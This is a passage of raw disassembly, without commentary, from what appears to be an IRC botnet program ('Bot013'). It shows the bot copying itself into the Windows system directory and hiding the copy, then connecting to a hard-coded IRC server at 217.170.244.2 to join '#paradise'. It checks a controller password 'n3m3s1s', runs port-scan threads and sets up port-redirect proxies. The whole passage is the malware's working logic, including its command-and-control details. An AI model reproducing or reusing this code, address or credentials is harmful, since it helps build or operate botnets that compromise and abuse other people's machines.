sub_409848+5DCAj mov esi, [ebp+ebx+var_90] cmp esi, edi mov [ebp+var_1C], esi jz short loc_40F674 cmp byte ptr [esi], 23h jz short loc_40F674 push esi lea eax, [ebp+var_61C] push 10h push eax call sub_416BCD push 78h push esi call sub_417E80 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_4C8], eax jmp loc_40F7AA ; --------------------------------------------------------------------------- loc_40F674: ; CODE XREF: sub_409848+5DFAj ; sub_409848+5DFFj cmp [ebp+var_376], 0 jz short loc_40F69E push 0Fh lea eax, [ebp+var_60C] push offset dword_42FE80 push eax call sub_416A00 mov eax, dword_42FE90 add esp, 0Ch mov [ebp+var_5FC], eax loc_40F69E: ; CODE XREF: sub_409848+5E33j cmp byte ptr [ebp+var_380+1], 0 jz short loc_40F6CA push edi push 9 push offset aStoppingPrevio ; "Stopping previous scans" push offset aScan_0 ; "[SCAN]" push 1 push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_413968 add esp, 20h loc_40F6CA: ; CODE XREF: sub_409848+5E5Dj cmp [ebp+var_38F], 0 jnz short loc_40F6EF cmp [ebp+var_38E], 0 jnz short loc_40F6EF cmp byte ptr [ebp+var_380+2], 0 jnz short loc_40F6EF push offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan, no IP spe"... jmp loc_40F619 ; --------------------------------------------------------------------------- loc_40F6EF: ; CODE XREF: sub_409848+5E89j ; sub_409848+5E92j ... push 10h pop esi lea eax, [ebp+var_BC] push eax lea eax, [ebp+var_D8] push eax push [ebp+arg_4] mov [ebp+var_BC], esi call dword_43A328 ; getsockname mov al, [ebp+var_38F] neg al push esi sbb eax, eax and eax, 0FFFF0100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+var_61C] push eax call sub_416A00 add esp, 0Ch cmp byte ptr [ebp+var_380+2], 0 jz short loc_40F7A4 xor eax, eax cmp [ebp+var_38F], al push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_61C] push eax call sub_4169D0 and byte ptr [ebp+arg_0+3], 0 cmp esi, edi pop ecx pop ecx jle short loc_40F798 loc_40F776: ; CODE XREF: sub_409848+5F4Ej cmp eax, edi jz short loc_40F798 mov byte ptr [eax], 78h lea eax, [ebp+var_61C] push 30h push eax call sub_4169D0 inc byte ptr [ebp+arg_0+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_0+3] cmp ecx, esi jl short loc_40F776 loc_40F798: ; CODE XREF: sub_409848+5F2Cj ; sub_409848+5F30j mov [ebp+var_4C8], 1 jmp short loc_40F7AA ; --------------------------------------------------------------------------- loc_40F7A4: ; CODE XREF: sub_409848+5F05j mov [ebp+var_4C8], edi loc_40F7AA: ; CODE XREF: sub_409848+5E27j ; sub_409848+5F5Aj mov eax, [ebp+arg_4] push [ebp+var_9C] mov [ebp+var_4F8], eax mov eax, [ebp+var_4] mov [ebp+var_4D0], eax mov eax, [ebp+var_C] mov [ebp+var_4CC], eax mov esi, 80h lea eax, [ebp+var_5F8] push esi push eax call sub_416BCD mov ebx, [ebp+ebx+var_8C] add esp, 0Ch cmp ebx, edi jz short loc_40F7FE push ebx loc_40F7EC: ; CODE XREF: sub_409848+5FC3j push esi loc_40F7ED: ; CODE XREF: sub_409848+5FE0j lea eax, [ebp+var_578] push eax call sub_416BCD add esp, 0Ch jmp short loc_40F831 ; --------------------------------------------------------------------------- loc_40F7FE: ; CODE XREF: sub_409848+5FA1j mov eax, [ebp+var_1C] cmp eax, edi jz short loc_40F80D cmp byte ptr [eax], 23h jnz short loc_40F80D push eax jmp short loc_40F7EC ; --------------------------------------------------------------------------- loc_40F80D: ; CODE XREF: sub_409848+5FBBj ; sub_409848+5FC0j xor ecx, ecx mov eax, offset aMurders ; "#murders" inc ecx mov edi, 422B02h mov esi, eax xor edx, edx repe cmpsb jz short loc_40F82A push eax push 80h jmp short loc_40F7ED ; --------------------------------------------------------------------------- loc_40F82A: ; CODE XREF: sub_409848+5FD8j and [ebp+var_578], 0 loc_40F831: ; CODE XREF: sub_409848+5FB4j xor esi, esi cmp [ebp+var_4C8], esi mov eax, offset aRandom ; "Random" jnz short loc_40F845 mov eax, offset aSequential ; "Sequential" loc_40F845: ; CODE XREF: sub_409848+5FF6j push [ebp+var_4DC] lea ecx, [ebp+var_61C] push [ebp+var_4EC] push [ebp+var_4F0] push [ebp+var_4F4] push ecx push eax lea eax, [ebp+var_2F0] push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"... push eax call sub_416975 push esi lea eax, [ebp+var_2F0] push 9 push eax call sub_413732 add esp, 2Ch mov [ebp+var_4E8], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_61C] push eax push offset sub_401B94 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_4E8] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40F8E5 call dword_422008 ; RtlGetLastWin32Error push eax push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"... loc_40F8C9: ; CODE XREF: sub_409848+59AEj ; sub_409848+5AEBj lea eax, [ebp+var_2F0] push eax call sub_416975 add esp, 0Ch jmp loc_40F222 ; --------------------------------------------------------------------------- loc_40F8DD: ; CODE XREF: sub_409848+60A3j push 32h call dword_422000 ; Sleep loc_40F8E5: ; CODE XREF: sub_409848+6073j cmp [ebp+var_4C4], esi jz short loc_40F8DD jmp loc_40F222 ; --------------------------------------------------------------------------- loc_40F8F2: ; CODE XREF: sub_409848+D18j ; sub_409848+D2Cj push [ebp+ebx+var_A0] xor eax, eax cmp byte ptr [ebp+var_380], al setnz al push eax push dword_42FCDC lea eax, [ebp+var_4BC] push eax call sub_411114 lea eax, [ebp+var_4BC] push eax push offset aNickS_0 ; "NICK %s\r\n" push [ebp+arg_4] call sub_405D17 lea eax, [ebp+var_4BC] push eax push offset aMainRandomNick ; "[MAIN]: Random nick change: %s" call sub_401F83 loc_40F93C: ; CODE XREF: sub_409848+5823j add esp, 24h loc_40F93F: ; CODE XREF: sub_409848+738j ; sub_409848+744j ... mov eax, [ebp+arg_24] jmp loc_409AC9 ; --------------------------------------------------------------------------- loc_40F947: ; CODE XREF: sub_409848+7C5j ; sub_409848+7D9j mov ebx, [ebp+ebx+var_A0] test ebx, ebx mov [ebp+var_8], ebx jz loc_409AC6 cmp [ebp+var_1C], 0 jnz loc_409AC6 push offset asc_42A9B4 ; "!" push [ebp+var_A4] call sub_4177E9 mov esi, eax push offset dword_428730 push 0 inc esi call sub_4177E9 push offset asc_42872C ; "~" push eax call sub_4177E9 mov edi, [ebp+var_8] mov ebx, eax add esp, 18h mov eax, offset aN3m3s1s ; "n3m3s1s" loc_40F99A: ; CODE XREF: sub_409848+616Ej mov dl, [eax] mov cl, dl cmp dl, [edi] jnz short loc_40F9BC test cl, cl jz short loc_40F9B8 mov dl, [eax+1] mov cl, dl cmp dl, [edi+1] jnz short loc_40F9BC inc eax inc eax inc edi inc edi test cl, cl jnz short loc_40F99A loc_40F9B8: ; CODE XREF: sub_409848+615Cj xor eax, eax jmp short loc_40F9C1 ; --------------------------------------------------------------------------- loc_40F9BC: ; CODE XREF: sub_409848+6158j ; sub_409848+6166j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40F9C1: ; CODE XREF: sub_409848+6172j test eax, eax jz short loc_40FA10 push ebx lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_F0] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_405D17 lea eax, [ebp+var_F0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_405D17 push ebx push esi push offset aMainFailedPass ; "[MAIN]: *Failed pass auth by: (%s!%s)." loc_40F9FC: ; CODE XREF: sub_409848+621Bj lea eax, [ebp+var_2F0] push eax call sub_416975 add esp, 30h jmp loc_40EE4D ; --------------------------------------------------------------------------- loc_40FA10: ; CODE XREF: sub_409848+617Bj xor edi, edi loc_40FA12: ; CODE XREF: sub_409848+61E2j push ebx push off_42FDB8[edi] call sub_414038 test eax, eax pop ecx pop ecx jnz short loc_40FA65 add edi, 4 cmp edi, 4 jb short loc_40FA12 push ebx lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_F0] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_405D17 lea eax, [ebp+var_F0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_405D17 push ebx push esi push offset aMainFailedHost ; "[MAIN]: *Failed host auth by: (%s!%s)." jmp short loc_40F9FC ; --------------------------------------------------------------------------- loc_40FA65: ; CODE XREF: sub_409848+61DAj mov edx, [ebp+arg_18] xor eax, eax loc_40FA6A: ; CODE XREF: sub_409848+6264j cmp byte ptr [edx], 0 jnz short loc_40FAA2 mov edi, [ebp+var_8] mov esi, offset aN3m3s1s ; "n3m3s1s" loc_40FA77: ; CODE XREF: sub_409848+624Bj mov bl, [esi] mov cl, bl cmp bl, [edi] jnz short loc_40FA99 test cl, cl jz short loc_40FA95 mov bl, [esi+1] mov cl, bl cmp bl, [edi+1] jnz short loc_40FA99 inc esi inc esi inc edi inc edi test cl, cl jnz short loc_40FA77 loc_40FA95: ; CODE XREF: sub_409848+6239j xor ecx, ecx jmp short loc_40FA9E ; --------------------------------------------------------------------------- loc_40FA99: ; CODE XREF: sub_409848+6235j ; sub_409848+6243j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_40FA9E: ; CODE XREF: sub_409848+624Fj test ecx, ecx jz short loc_40FAB3 loc_40FAA2: ; CODE XREF: sub_409848+6225j inc eax add edx, 80h cmp eax, 2 jl short loc_40FA6A jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_40FAB3: ; CODE XREF: sub_409848+6258j shl eax, 7 add eax, [ebp+arg_18] push 7Fh lea ecx, [ebp+var_8F0] push ecx push eax call sub_416A00 add esp, 0Ch cmp [ebp+var_C], 0 jnz short loc_40FAEC push 0 push [ebp+var_4] push offset aMainPasswordAc ; "[MAIN]: Password accepted." push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 14h loc_40FAEC: ; CODE XREF: sub_409848+6287j lea eax, [ebp+var_F0] push eax push offset aMainUserSLog_1 ; "[MAIN]: User: %s logged in." loc_40FAF8: ; CODE XREF: sub_409848+6F5j ; sub_409848+505Fj ... call sub_401F83 pop ecx loc_40FAFE: ; CODE XREF: sub_409848+39ADj pop ecx jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_40FB04: ; CODE XREF: sub_409848+1FAj ; sub_409848+20Dj push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_405D17 push offset aIx ; "+ix" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_405D17 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_405D17 xor eax, eax add esp, 2Ch inc eax mov dword_480AE0, eax jmp loc_409AC9 sub_409848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FB4C proc near ; CODE XREF: .text:0041881Fp var_98C = byte ptr -98Ch var_888 = byte ptr -888h var_887 = byte ptr -887h var_6F8 = byte ptr -6F8h var_5F8 = byte ptr -5F8h var_4F8 = byte ptr -4F8h var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_1EC = byte ptr -1ECh var_E8 = byte ptr -0E8h var_68 = dword ptr -68h var_5C = dword ptr -5Ch var_3C = dword ptr -3Ch var_38 = word ptr -38h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 98Ch push ebx xor ebx, ebx push esi push edi mov [ebp+var_10], ebx mov [ebp+var_C], ebx mov [ebp+var_8], offset sub_403500 push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_422004 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_480AD8, eax call esi ; GetTickCount push eax call sub_416B24 pop ecx call sub_406217 push 2 call dword_43A394 ; SetErrorMode push 7530h push offset aBot013 ; "Bot013" push ebx push ebx call dword_422104 ; CreateMutexA push eax call dword_422100 ; WaitForSingleObject cmp eax, 102h jnz short loc_40FBCB push 1 jmp loc_40FE2B ; --------------------------------------------------------------------------- loc_40FBCB: ; CODE XREF: sub_40FB4C+76j lea eax, [ebp+var_888] push eax push 202h call dword_43A3CC ; WSAStartup cmp eax, ebx mov [ebp+var_8], eax jnz loc_41009E cmp [ebp+var_888], 2 jnz loc_410098 cmp [ebp+var_887], 2 jnz loc_410098 mov esi, 104h push esi lea eax, [ebp+var_3F4] push eax call dword_422048 ; GetSystemDirectoryA push esi lea eax, [ebp+var_2F0] push eax push ebx call dword_4220A4 ; GetModuleHandleA push eax call dword_422010 ; GetModuleFileNameA lea eax, [ebp+var_5F8] push eax lea eax, [ebp+var_6F8] push eax push ebx lea eax, [ebp+var_2F0] push ebx push eax call sub_41809F lea eax, [ebp+var_5F8] push eax lea eax, [ebp+var_6F8] push eax push offset aSS ; "%s%s" lea eax, [ebp+var_4F8] push esi push eax call sub_416BCD lea eax, [ebp+var_3F4] push eax lea eax, [ebp+var_2F0] push eax call sub_417440 add esp, 30h test eax, eax jnz loc_40FE31 cmp dword_42FCCC, ebx mov esi, offset byte_42FD4C jz short loc_40FCD3 mov eax, esi xor edi, edi lea ecx, [eax+1] loc_40FC99: ; CODE XREF: sub_40FB4C+152j mov dl, [eax] inc eax test dl, dl jnz short loc_40FC99 sub eax, ecx add eax, 0FFFFFFFAh test eax, eax jbe short loc_40FCD3 loc_40FCA9: ; CODE XREF: sub_40FB4C+185j call sub_416B31 cdq push 1Ah pop ecx idiv ecx mov eax, esi lea ecx, [eax+1] add dl, 61h mov byte_42FD4C[edi], dl inc edi loc_40FCC3: ; CODE XREF: sub_40FB4C+17Cj mov dl, [eax] inc eax test dl, dl jnz short loc_40FCC3 sub eax, ecx add eax, 0FFFFFFFAh cmp edi, eax jb short loc_40FCA9 loc_40FCD3: ; CODE XREF: sub_40FB4C+144j ; sub_40FB4C+15Bj push esi lea eax, [ebp+var_3F4] push eax lea eax, [ebp+var_1EC] push offset aSS_0 ; "%s\\%s" push eax call sub_416975 add esp, 10h lea eax, [ebp+var_1EC] push eax call dword_4220A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40FD13 push 80h lea eax, [ebp+var_1EC] push eax call dword_4220CC ; SetFileAttributesA loc_40FD13: ; CODE XREF: sub_40FB4C+1B3j mov esi, dword_422000 push 7D0h call esi ; Sleep mov edi, dword_4220FC mov [ebp+var_4], ebx jmp short loc_40FD4E ; --------------------------------------------------------------------------- loc_40FD2B: ; CODE XREF: sub_40FB4C+215j call dword_422008 ; RtlGetLastWin32Error cmp [ebp+var_4], ebx jnz short loc_40FD63 cmp eax, 20h jz short loc_40FD40 cmp eax, 5 jnz short loc_40FD63 loc_40FD40: ; CODE XREF: sub_40FB4C+1EDj push 3A98h mov [ebp+var_4], 1 call esi ; Sleep loc_40FD4E: ; CODE XREF: sub_40FB4C+1DDj push ebx lea eax, [ebp+var_1EC] push eax lea eax, [ebp+var_2F0] push eax call edi ; CopyFileA test eax, eax jz short loc_40FD2B loc_40FD63: ; CODE XREF: sub_40FB4C+1E8j ; sub_40FB4C+1F2j lea eax, [ebp+var_1EC] push eax call sub_4074B0 pop ecx push 7 lea eax, [ebp+var_1EC] push eax call dword_4220CC ; SetFileAttributesA xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd push 11h pop ecx xor eax, eax lea edi, [ebp+var_68] rep stosd xor edi, edi inc edi mov [ebp+var_5C], 422B02h mov [ebp+var_68], 44h mov [ebp+var_3C], edi mov [ebp+var_38], bx call dword_4220F8 ; GetCurrentProcessId push eax push edi push 100000h call dword_422078 ; OpenProcess lea ecx, [ebp+var_2F0] push ecx push eax lea eax, [ebp+var_1EC] push eax lea eax, [ebp+var_98C] push offset aSDS ; "%s %d \"%s\"" push eax call sub_416975 add esp, 14h lea eax, [ebp+var_24] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_3F4] push eax push ebx push 28h push edi push ebx push ebx lea eax, [ebp+var_98C] push eax lea eax, [ebp+var_1EC] push eax call dword_422044 ; CreateProcessA test eax, eax jz short loc_40FE37 push 0C8h call esi ; Sleep push [ebp+var_24] mov esi, dword_42202C call esi ; CloseHandle push [ebp+var_20] call esi ; CloseHandle call dword_43A4DC ; WSACleanup push ebx loc_40FE2B: ; CODE XREF: sub_40FB4C+7Aj call dword_422040 ; ExitProcess loc_40FE31: ; CODE XREF: sub_40FB4C+133j mov esi, dword_422000 loc_40FE37: ; CODE XREF: sub_40FB4C+2BFj cmp dword_481198, 2 jle short loc_40FE7F mov eax, dword_48119C push dword ptr [eax+4] call sub_416D02 pop ecx mov edi, eax push 0FFFFFFFFh push edi call dword_422100 ; WaitForSingleObject push edi call dword_42202C ; CloseHandle mov eax, dword_48119C cmp [eax+8], ebx jz short loc_40FE7F push 7D0h call esi ; Sleep mov eax, dword_48119C push dword ptr [eax+8] call dword_4220E4 ; DeleteFileA loc_40FE7F: ; CODE XREF: sub_40FB4C+2F2j ; sub_40FB4C+31Cj cmp dword_42FCD0, ebx jz short loc_40FE9C cmp dword_43A528, ebx jnz short loc_40FE9C lea eax, [ebp+var_4F8] push eax call sub_40214F pop ecx loc_40FE9C: ; CODE XREF: sub_40FB4C+339j ; sub_40FB4C+341j lea eax, [ebp+var_E8] push offset aMainBotStarted ; "[MAIN]: Bot started." push eax call sub_416975 push ebx lea eax, [ebp+var_E8] push ebx push eax call sub_413732 lea eax, [ebp+var_E8] push eax call sub_401F0F xor eax, eax mov ecx, 2E0h mov edi, offset dword_47FF58 rep stosd lea eax, [ebp+var_E8] push offset aSecureSystemSe ; "[SECURE]: System secure monitor active."... push eax call sub_416975 push ebx lea eax, [ebp+var_E8] push 1Ah push eax call sub_413732 add esp, 2Ch mov esi, eax lea eax, [ebp+var_10] push eax push ebx push ebx push offset sub_411969 push ebx push ebx call dword_42200C ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43B274[esi], eax jnz short loc_40FF38 call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_E8] push offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"... push eax call sub_416975 add esp, 0Ch loc_40FF38: ; CODE XREF: sub_40FB4C+3CFj lea eax, [ebp+var_E8] push eax call sub_401F0F call sub_416B31 push 7Fh push offset a217_170_244_2 ; "217.170.244.2" mov ebx, offset dword_47FDF4 push ebx mov dword_480AE4, eax call sub_416A00 mov eax, dword_42FCB0 push 3Fh push offset aParadise ; "#paradise" mov edi, offset dword_47FE74 push edi mov dword_47FF44, eax call sub_416A00 push 3Fh push offset aTroopers ; "troopers" mov esi, offset dword_47FEB4 push esi call sub_416A00 add esp, 28h and dword_47FF48, 0 loc_40FF98: ; CODE XREF: sub_40FB4C+4F5j ; sub_40FB4C+501j ... and [ebp+var_4], 0 loc_40FF9C: ; CODE XREF: sub_40FB4C+4ABj cmp dword_43A540, 0 jnz short loc_40FFBC push 0 lea eax, [ebp+var_14] push eax call dword_43A338 ; InternetGetConnectedState test eax, eax jnz short loc_40FFBC push 7530h jmp short loc_40FFEA ; --------------------------------------------------------------------------- loc_40FFBC: ; CODE XREF: sub_40FB4C+457j ; sub_40FB4C+467j and dword_480AE0, 0 push offset dword_47FDF0 call sub_4096E9 cmp eax, 2 mov [ebp+var_8], eax jz loc_410093 cmp dword_480AE0, 0 jz short loc_40FFE5 dec [ebp+var_4] loc_40FFE5: ; CODE XREF: sub_40FB4C+494j push 0BB8h loc_40FFEA: ; CODE XREF: sub_40FB4C+46Ej call dword_422000 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 3 jl short loc_40FF9C cmp [ebp+var_8], 2 jz loc_410093 cmp [ebp+var_C], 0 jz short loc_410046 push 7Fh push offset a217_170_244_2 ; "217.170.244.2" push ebx call sub_416A00 mov eax, dword_42FCB0 push 3Fh push offset aParadise ; "#paradise" push edi mov dword_47FF44, eax call sub_416A00 push 3Fh push offset aTroopers ; "troopers" push esi call sub_416A00 add esp, 24h and [ebp+var_C], 0 jmp loc_40FF98 ; --------------------------------------------------------------------------- loc_410046: ; CODE XREF: sub_40FB4C+4BBj cmp byte_42FD28, 0 jz loc_40FF98 push 7Fh push offset byte_42FD28 push ebx call sub_416A00 mov eax, dword_42FCB4 push 3Fh push offset dword_42FD34 push edi mov dword_47FF44, eax call sub_416A00 push 3Fh push offset aTroopers_0 ; "troopers" push esi call sub_416A00 add esp, 24h mov [ebp+var_C], 1 jmp loc_40FF98 ; --------------------------------------------------------------------------- loc_410093: ; CODE XREF: sub_40FB4C+487j ; sub_40FB4C+4B1j call sub_4138A3 loc_410098: ; CODE XREF: sub_40FB4C+A3j ; sub_40FB4C+B0j call dword_43A4DC ; WSACleanup loc_41009E: ; CODE XREF: sub_40FB4C+96j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40FB4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4100A7 proc near ; DATA XREF: sub_410142+12Co var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_416B90 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov ebx, 1000h jmp short loc_4100FC ; --------------------------------------------------------------------------- loc_4100E1: ; CODE XREF: sub_4100A7+7Bj push 0 push eax lea eax, [ebp+var_1128] push eax push dword_43B26C[esi] call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz short loc_410124 loc_4100FC: ; CODE XREF: sub_4100A7+38j xor eax, eax push eax lea edi, [ebp+var_1128] mov ecx, 400h rep stosd push ebx lea eax, [ebp+var_1128] push eax push dword_43B270[esi] call dword_43A324 ; recv test eax, eax jg short loc_4100E1 loc_410124: ; CODE XREF: sub_4100A7+53j push dword_43B270[esi] call dword_43A4D0 ; closesocket push [ebp+var_14] call sub_4139F6 pop ecx push 0 call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_4100A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_410142 proc near ; DATA XREF: sub_41031F+118o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_416B90 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_144] rep movsd mov esi, [ebp+var_30] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+var_4], esi call dword_43A3BC ; socket xor ebx, ebx cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4102A1 push [ebp+var_3C] xor eax, eax lea edi, [ebp+var_18] stosd stosd stosd stosd mov [ebp+var_18], 2 call dword_43A514 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_43A434 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4101CA lea eax, [ebp+var_13C] push eax call dword_43A420 ; gethostbyname jmp short loc_4101D8 ; --------------------------------------------------------------------------- loc_4101CA: ; CODE XREF: sub_410142+77j push 2 push 4 lea eax, [ebp+var_8] push eax call dword_43A4B4 ; gethostbyaddr loc_4101D8: ; CODE XREF: sub_410142+86j cmp eax, ebx jz loc_4102A1 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax push 10h lea eax, [ebp+var_18] push eax push [ebp+arg_0] call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jz loc_4102A1 push [ebp+var_34] movzx eax, [ebp+var_16] push eax push [ebp+var_14] mov [ebp+var_20], ebx call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset aRedirectClient ; "[REDIRECT]: Client connection to IP: %s"... push eax call sub_416975 push [ebp+arg_0] lea eax, [ebp+var_344] push 11h push eax call sub_413732 imul esi, 234h mov ecx, [ebp+var_34] mov [ebp+var_30], eax imul eax, 234h mov dword_43B264[eax], ecx add esp, 20h lea esi, dword_43B26C[esi] mov ecx, [esi] mov dword_43B270[eax], ecx lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_144] push eax push offset sub_4100A7 push ebx push ebx call dword_42200C ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, ebx mov dword_43B274[ecx], eax jnz short loc_4102D7 call dword_422008 ; RtlGetLastWin32Error push eax push offset aRedirectFail_0 ; "[REDIRECT]: Failed to start connection "... call sub_401F83 pop ecx pop ecx loc_4102A1: ; CODE XREF: sub_410142+42j ; sub_410142+98j ... mov eax, [ebp+var_4] imul eax, 234h push dword_43B26C[eax] call dword_43A4D0 ; closesocket push [ebp+arg_0] call dword_43A4D0 ; closesocket push [ebp+var_4] call sub_4139F6 pop ecx push ebx call dword_422014 ; ExitThread loc_4102CF: ; CODE XREF: sub_410142+198j push 32h call dword_422000 ; Sleep loc_4102D7: ; CODE XREF: sub_410142+14Aj cmp [ebp+var_20], ebx jz short loc_4102CF jmp short loc_4102F5 ; --------------------------------------------------------------------------- loc_4102DE: ; CODE XREF: sub_410142+1D9j push ebx push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz short loc_4102A1 loc_4102F5: ; CODE XREF: sub_410142+19Aj xor eax, eax push ebx lea edi, [ebp+var_1344] mov ecx, 400h rep stosd push 1000h lea eax, [ebp+var_1344] push eax push dword ptr [esi] call dword_43A324 ; recv cmp eax, ebx jg short loc_4102DE jmp short loc_4102A1 sub_410142 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41031F proc near ; DATA XREF: sub_409848+2A72o var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, eax push 4Ah pop ecx lea edi, [ebp+var_14C] rep movsd push [ebp+var_40] xor esi, esi inc esi mov [eax+120h], esi xor eax, eax lea edi, [ebp+var_10] stosd stosd stosd stosd mov [ebp+var_10], 2 call dword_43A514 ; ntohs push 6 push esi xor ebx, ebx push 2 mov [ebp+var_E], ax mov [ebp+var_C], ebx mov [ebp+arg_0], 10h call dword_43A3BC ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_41047E mov eax, [ebp+var_3C] imul eax, 234h push esi push 401h push ebx push edi mov dword_43B26C[eax], edi call dword_43A44C ; WSAAsyncSelect push 10h lea eax, [ebp+var_10] push eax push edi call dword_43A49C ; bind test eax, eax jnz loc_41047E push 0Ah push edi call dword_43A4E8 ; listen test eax, eax jnz loc_41047E loc_4103C5: ; CODE XREF: sub_41031F+BAj ; sub_41031F+15Aj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push edi call dword_43A37C ; accept mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4103C5 push [ebp+var_3C] movzx eax, [ebp+var_22] push eax push [ebp+var_20] mov [ebp+var_148], esi mov [ebp+var_2C], ebx call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+var_34C] push offset aRedirectClie_0 ; "[REDIRECT]: Client connection from IP: "... push eax call sub_416975 push esi lea eax, [ebp+var_34C] push 11h push eax call sub_413732 mov ecx, [ebp+var_3C] mov [ebp+var_38], eax imul eax, 234h add esp, 20h mov dword_43B264[eax], ecx lea eax, [ebp+var_14] push eax push ebx lea eax, [ebp+var_14C] push eax push offset sub_410142 push ebx push ebx call dword_42200C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, ebx mov dword_43B274[ecx], eax jnz short loc_410474 call dword_422008 ; RtlGetLastWin32Error push eax push offset aRedirectFail_1 ; "[REDIRECT]: Failed to start client thre"... call sub_401F83 pop ecx pop ecx jmp short loc_410481 ; --------------------------------------------------------------------------- loc_41046C: ; CODE XREF: sub_41031F+158j push 32h call dword_422000 ; Sleep loc_410474: ; CODE XREF: sub_41031F+136j cmp [ebp+var_2C], ebx jz short loc_41046C jmp loc_4103C5 ; --------------------------------------------------------------------------- loc_41047E: ; CODE XREF: sub_41031F+5Dj ; sub_41031F+8Fj ... mov esi, [ebp+arg_0] loc_410481: ; CODE XREF: sub_41031F+14Bj push esi call dword_43A4D0 ; closesocket push edi call dword_43A4D0 ; closesocket push [ebp+var_3C] call sub_4139F6 pop ecx push ebx call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_41031F endp ; 